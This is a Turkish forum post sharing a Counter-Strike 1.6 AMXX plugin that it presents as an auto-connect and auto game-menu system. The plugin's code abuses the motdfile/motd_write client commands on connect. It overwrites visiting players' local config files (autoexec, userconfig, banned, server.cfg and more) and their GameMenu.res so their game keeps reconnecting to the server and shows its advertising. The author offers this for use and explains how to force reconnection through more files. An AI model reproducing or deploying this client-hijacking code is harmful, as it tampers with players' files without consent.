merhaba arkadaşlar sizlere yaptığım pluginden bahsedeyim birazcık

** hangi sunucuya kurulursa kurulsun bilgileri (serverip & serveradı vs.) otomatik algılar.
** GameMenu Eklentisini Kurmaya Gerek Yoktur. Varsa Siliniz yada kapatın.
** Hepsi İçinde Mevcut. ( Hepsi Otomatik Algılanacak Şekilde Ayarlandı )

## Ayarlarından bahsedeyim ##

eğer options(ayarlar) kısmında ayar yapıp okeyledikten sonra servera tekrar bağlanmasını istiyor iseniz;

client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp) yazan kısımları tek teek

şöyle değiştirin

client_cmd(id,"motd_write connect %s",g_ServerIp)


Kod:
#include <amxmodx>

#define PLUGIN "AutoConnect (IP Algılamalı) + AutoGameMenu (Server Adı - IP Algılamalı) Akıllı Sistem"
#define VERSION "1.0"
#define AUTHOR "team36"


new g_ServerName[64]; 
new g_ServerIp[32] 


new szText[1200];


public plugin_precache()
    precache_generic("resource/GameMenu.res");


public plugin_init()
{
    register_plugin(PLUGIN, VERSION , AUTHOR);
    
    get_user_ip(0,g_ServerIp,31,0)
        replace_all(g_ServerIp,31,":27015","")
    get_cvar_string("hostname",g_ServerName,63)
    
    new size = sizeof(szText) - 1;
    format(szText, size, "^"GameMenu^" { ^"1^" { ^"label^" ^"%s^"", g_ServerName);
    format(szText, size, "%s ^"command^" ^"engine connect %s^"", szText, g_ServerIp);
    format(szText,size, "%s } ^"2^" { ^"label^" ^"Baglan => [ %s ]^"",szText,g_ServerIp);
    format(szText,size, "%s ^"command^" ^"engine connect %s^"",szText,g_ServerIp);
    format(szText, size, "%s } ^"3^" { ^"label^" ^"^" ^"command^" ^"^" }", szText);
    format(szText, size, "%s ^"4^" { ^"label^" ^"Devam Et^"", szText);
    format(szText, size, "%s ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }", szText);
    format(szText, size, "%s ^"5^" { ^"label^" ^"Baglantiyi Kes^"", szText);
    format(szText, size, "%s ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"", szText);
    format(szText, size, "%s ^"notsingle^" ^"1^" } ^"5^" { ^"label^" ^"Oyuncu Listesi^"", szText);
    format(szText, size, "%s ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"", szText);
    format(szText, size, "%s } ^"9^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }", szText);
    format(szText, size, "%s ^"10^" { ^"label^" ^"Yeni Oyun^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"", szText);
    format(szText, size, "%s } ^"11^" { ^"label^" ^"Sunucular // www.CSPLague.COM^" ^"command^" ^"OpenServerBrowser^"", szText);
    format(szText, size, "%s } ^"12^" { ^"label^" ^"Ayarlar^" ^"command^" ^"OpenOptionsDialog^"", szText);
    format(szText, size, "%s } ^"13^" { ^"label^" ^"Cikis^" ^"command^" ^"Quit^" } }", szText);
}
public client_putinserver (id) {
    set_task(3.0, "TaskChangeMenu", id);
}


public TaskChangeMenu(id)
{
    client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
    client_cmd(id, "motd_write %s", szText);
    client_cmd(id, "motdfile ^"motd.txt^"");
}
public client_connect(id) {
    client_cmd(id,"motdfile autoexec.CFG")
    client_cmd(id,"motd_write connect %s",g_ServerIp)
        client_cmd(id,"motdfile autoconfig.CFG")
    client_cmd(id,"motd_write connect %s",g_ServerIp)
        client_cmd(id,"motdfile (null).CFG")
    client_cmd(id,"motd_write connect %s",g_ServerIp)
        client_cmd(id,"motdfile userconfig.CFG")
    client_cmd(id,"motd_write connect %s",g_ServerIp)
        client_cmd(id,"motdfile joystick.CFG")
        client_cmd(id,"motd_write connect %s",g_ServerIp)
        client_cmd(id,"motdfile banned.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile banner.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile violence.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile listip.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile listenserver.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile server.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile language.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
        client_cmd(id,"motdfile autoconnect.CFG")
        client_cmd(id,"motd_write echo www.CSPLague.COM",g_ServerIp)
}